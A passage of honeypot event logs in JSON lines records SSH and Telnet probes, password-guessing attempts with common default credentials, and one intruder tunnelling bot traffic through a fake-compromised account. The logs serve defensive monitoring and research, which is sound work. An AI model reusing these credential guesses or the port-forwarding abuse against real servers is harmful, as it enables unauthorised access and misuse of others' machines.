x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:34.423265Z","src_ip":"23.148.145.132","session":"256ca2a13bd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":48460,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c3dec2eb655","protocol":"ssh","message":"New connection: 101.79.165.43:48460 (159.203.135.109:22) [session: 1c3dec2eb655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:40.809680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:40.814918Z","src_ip":"101.79.165.43","session":"1c3dec2eb655","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:41.032535Z","src_ip":"101.79.165.43","session":"1c3dec2eb655","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$$word","message":"login attempt [root/P@$$word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:41.938182Z","src_ip":"101.79.165.43","session":"1c3dec2eb655","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"34.4","message":"Connection lost after 34.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:42.837472Z","src_ip":"23.148.145.132","session":"256ca2a13bd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":59740,"dst_ip":"159.203.135.109","dst_port":22,"session":"bba5194d3d1f","protocol":"ssh","message":"New connection: 2.99.213.222:59740 (159.203.135.109:22) [session: bba5194d3d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:42.870998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:42.875191Z","src_ip":"2.99.213.222","session":"bba5194d3d1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:42.980026Z","src_ip":"2.99.213.222","session":"bba5194d3d1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:43.158866Z","src_ip":"101.79.165.43","session":"1c3dec2eb655","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":52962,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9d53c735ce9","protocol":"ssh","message":"New connection: 103.60.242.169:52962 (159.203.135.109:22) [session: e9d53c735ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:43.388504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:43.392673Z","src_ip":"103.60.242.169","session":"e9d53c735ce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin321","message":"login attempt [root/Admin321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:43.416091Z","src_ip":"2.99.213.222","session":"bba5194d3d1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:43.649356Z","src_ip":"103.60.242.169","session":"e9d53c735ce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:44.554393Z","src_ip":"2.99.213.222","session":"bba5194d3d1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jhpark","password":"jhpark","message":"login attempt [jhpark/jhpark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:44.710833Z","src_ip":"103.60.242.169","session":"e9d53c735ce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:45.973271Z","src_ip":"103.60.242.169","session":"e9d53c735ce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.90605616569519,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:46.966678Z","src_ip":"50.65.170.8","session":"01a7b976a859","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.397159576416016,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:00.354574Z","src_ip":"50.65.170.8","session":"99580b542a55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.65.170.8","src_port":50221,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cd66adb1b99","protocol":"telnet","message":"New connection: 50.65.170.8:50221 (159.203.135.109:23) [session: 0cd66adb1b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:06.118021Z"}
{"eventid":"cowrie.session.closed","duration":120.00340485572815,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:15.980343Z","src_ip":"50.65.170.8","session":"efbc6766f9a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49180,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2438469bd64","protocol":"telnet","message":"New connection: 172.81.62.90:49180 (159.203.135.109:23) [session: d2438469bd64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:18.658304Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":49639,"dst_ip":"10.17.0.5","dst_port":22,"session":"57f498c0804b","protocol":"ssh","message":"New connection: 123.27.168.40:49639 (10.17.0.5:22) [session: 57f498c0804b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:19.295171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:19.299910Z","src_ip":"123.27.168.40","session":"57f498c0804b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:19.629623Z","src_ip":"123.27.168.40","session":"57f498c0804b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:20.835508Z","src_ip":"123.27.168.40","session":"57f498c0804b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:21.211137Z","session":"57f498c0804b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:21.334938Z","session":"57f498c0804b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:21.469886Z","src_ip":"123.27.168.40","session":"57f498c0804b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TmxJOEZIRmtDZENMbX5XVw%3D%3DlVJ28TOnRi0y2GrwwOXo%2BS2B5rUQSHi%2FQBdd%2FVEO8hBzb1Ya1CeE8M1ccfl9tbYL%2FQuD5nFh0Qop%2BJaZncUmvVnLfPGfbjo6ZMl7TzubL%2Bp33GbaWNZHFo2QVlLqLA%2Fd8kPlVs9yRQNdkfFnQ8wODccfx5C1IFwYYAWciqosm%2FXC7%2BrW2i9u5CLm3nAkzfjx6IiOCrQRYNxxV19I4gmzFGlnWITnUqMZ1My%2FFPjV4EuipoPPSH0tN2K8iFPI2tsBA6%2FVEsgssiAWoULetm%2BLtpyynaVRHUA0oFL5mYEy97hBxx4oc0bJhr9lVzBiEb0eTEy3mf5vYnzb6G1G7ghk1CQxJ1UUH25DqEeyLUIbAgfvUD1XqD%2BMWpFg2STkqcwtx1aIHyiyRnHVvPWnHokBq6pc8Li2uD5ns%2Fkk2YsGRmNS8gjPcFSbe4HCPHyapIQIITjz%2FGm%2FdBsadPclZwrh4LrmGl2VwqTHMkrN1TCY%2F7pWW8RBI29%2BOrn1ZuIyfiTx4qADSdHsO5mJA%2FFjO65FBWYkRYBNkrckaCtmKwvP28g8rQb63Uvy01iNly0m4m6UYNX5B1foWg75LcfK8KEn3R6uV6WC1O6n05UMBc1d33riNjdPI2NveW0ZPGsr1YVdx5zaV%2FNPnrYwdQWunzHzvCwTYDwD%2FymlftMTC2A5WEwvA0OibXTIVjnpG2kZUnDN4eDR0VUstlGTCsnhrI%2BAbOZqtSy7CTdjC0MardPmzUWpe4m8VWrz%2FmKUPwTwuAYAl6scRRAIAKE6oYMoP1G6FlfupMp3XH4h%2BzmORZCyHnPRcnW7bOtoJGjw2E0LJgQcLIyQH4ncbmMO3jAHIylnSpU1VmyxZE4LuxlOrE0ucOreeqZtAmPTv%2BQCA97Zjr%2FTzi90NLgT2nOmj1fck15RCR9eKtEtpt0pP3IJHtQApvR%2FNHF9VnNPbbWFKNPmlODDYgssNphZTskUU6Mzd%2BnusOj6sgmEhaj%2BYSjTeeovS6lvHPGGyhEzNio1Aed4ofiTVknvRMD1Pw8ugiSHkA1YXQAYSpCbCLrnK593WhV%2FS%2FwKqbYpeYjaeGzJKnQAQOel'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TmxJOEZIRmtDZENMbX5XVw%3D%3DlVJ28TOnRi0y2GrwwOXo%2BS2B5rUQSHi%2FQBdd%2FVEO8hBzb1Ya1CeE8M1ccfl9tbYL%2FQuD5nFh0Qop%2BJaZncUmvVnLfPGfbjo6ZMl7TzubL%2Bp33GbaWNZHFo2QVlLqLA%2Fd8kPlVs9yRQNdkfFnQ8wODccfx5C1IFwYYAWciqosm%2FXC7%2BrW2i9u5CLm3nAkzfjx6IiOCrQRYNxxV19I4gmzFGlnWITnUqMZ1My%2FFPjV4EuipoPPSH0tN2K8iFPI2tsBA6%2FVEsgssiAWoULetm%2BLtpyynaVRHUA0oFL5mYEy97hBxx4oc0bJhr9lVzBiEb0eTEy3mf5vYnzb6G1G7ghk1CQxJ1UUH25DqEeyLUIbAgfvUD1XqD%2BMWpFg2STkqcwtx1aIHyiyRnHVvPWnHokBq6pc8Li2uD5ns%2Fkk2YsGRmNS8gjPcFSbe4HCPHyapIQIITjz%2FGm%2FdBsadPclZwrh4LrmGl2VwqTHMkrN1TCY%2F7pWW8RBI29%2BOrn1ZuIyfiTx4qADSdHsO5mJA%2FFjO65FBWYkRYBNkrckaCtmKwvP28g8rQb63Uvy01iNly0m4m6UYNX5B1foWg75LcfK8KEn3R6uV6WC1O6n05UMBc1d33riNjdPI2NveW0ZPGsr1YVdx5zaV%2FNPnrYwdQWunzHzvCwTYDwD%2FymlftMTC2A5WEwvA0OibXTIVjnpG2kZUnDN4eDR0VUstlGTCsnhrI%2BAbOZqtSy7CTdjC0MardPmzUWpe4m8VWrz%2FmKUPwTwuAYAl6scRRAIAKE6oYMoP1G6FlfupMp3XH4h%2BzmORZCyHnPRcnW7bOtoJGjw2E0LJgQcLIyQH4ncbmMO3jAHIylnSpU1VmyxZE4LuxlOrE0ucOreeqZtAmPTv%2BQCA97Zjr%2FTzi90NLgT2nOmj1fck15RCR9eKtEtpt0pP3IJHtQApvR%2FNHF9VnNPbbWFKNPmlODDYgssNphZTskUU6Mzd%2BnusOj6sgmEhaj%2BYSjTeeovS6lvHPGGyhEzNio1Aed4ofiTVknvRMD1Pw8ugiSHkA1YXQAYSpCbCLrnK593WhV%2FS%2FwKqbYpeYjaeGzJKnQAQOel'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:21.473423Z","src_ip":"123.27.168.40","session":"57f498c0804b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:21.722075Z","src_ip":"123.27.168.40","session":"57f498c0804b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe9e\\xdeb<\\t1\\xe8\\xb5\\xcd\\xfd\\x11\\x9a\\x95iF\\xff\\xb6\\xd2M\\xe1\\xcf\\xd76 D\\xef\\x10\\xb1\\xa9qq x\\xdd\\x00\\xc5kF\\xbf%\\xc3\\x19\\xb6\\xa1\\x067\\xd4\\x18\\xb0\\x10\\r\\x01\\x04\\xd6\\xf8n\\x14\\x90\\x9a\\x0c\\xeeV\\xbaY\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x10\\x1b\\xab\\xdfCA\\xc1\\xc5\\x99Y\\t\\x87\\x8eJ\\x19\\xe0Fb\\xf6\\xdbW\\xfcT-q\\xb0F,\\xc2\\x98\\xbc\\x1f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe9e\\xdeb<\\t1\\xe8\\xb5\\xcd\\xfd\\x11\\x9a\\x95iF\\xff\\xb6\\xd2M\\xe1\\xcf\\xd76 D\\xef\\x10\\xb1\\xa9qq x\\xdd\\x00\\xc5kF\\xbf%\\xc3\\x19\\xb6\\xa1\\x067\\xd4\\x18\\xb0\\x10\\r\\x01\\x04\\xd6\\xf8n\\x14\\x90\\x9a\\x0c\\xeeV\\xbaY\\x00 